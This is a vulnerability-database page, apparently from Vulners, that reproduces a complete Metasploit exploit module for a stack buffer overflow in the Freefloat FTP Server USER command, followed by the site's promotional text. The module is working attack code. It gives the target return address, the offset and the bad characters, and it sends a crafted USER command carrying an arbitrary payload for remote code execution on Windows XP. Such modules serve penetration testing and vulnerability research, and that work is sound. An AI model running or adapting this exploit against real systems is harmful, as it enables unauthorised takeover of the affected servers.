Lucene search
K

Free Float FTP Server USER Command Buffer Overflow

🗓️ 12 Sep 2012 22:46:53Reported by D35m0nd142, Doug Prostko <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 8 Views

Free Float FTP Server USER Command Buffer Overflow. Stack-based buffer overflow vulnerability in Freefloat FTP Server allows remote attackers to execute arbitrary code via a long USER command

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'			 => 'Free Float FTP Server USER Command Buffer Overflow',
      'Description'	 => %q{
          Freefloat FTP Server is prone to an overflow condition. It
        fails to properly sanitize user-supplied input resulting in a
        stack-based buffer overflow. With a specially crafted 'USER'
        command, a remote attacker can potentially have an unspecified
        impact.
      },
      'Platform'		 => 'win',
      'Author'		 =>
        [
          'D35m0nd142', # Original exploit
          'Doug Prostko <dougtko[at]gmail.com>' # MSF module
        ],
      'License'		 => MSF_LICENSE,
      'References'	 =>
        [
          [ 'OSVDB', '69621'],
          [ 'EDB', '23243']
        ],
      'Privileged'	 => false,
      'Payload'		 =>
        {
          'Space'          => 444,
          'DisableNops'    => true,
          'BadChars'       => "\x00\x0a\x0d",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Targets'		=>
        [
          [ 'FreeFloat / Windows XP SP3',
            {
              'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll
              'Offset'   => 230
            }
          ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2012-06-12'))
  end

  def check
    connect
    disconnect
    if (banner =~ /FreeFloat/)
      # Software is never updated, so if you run this you're f*cked.
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect
    buf = rand_text(target['Offset'])
    buf << [ target['Ret'] ].pack('V')
    buf << rand_text(8)
    buf << payload.encoded
    send_user(buf)
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation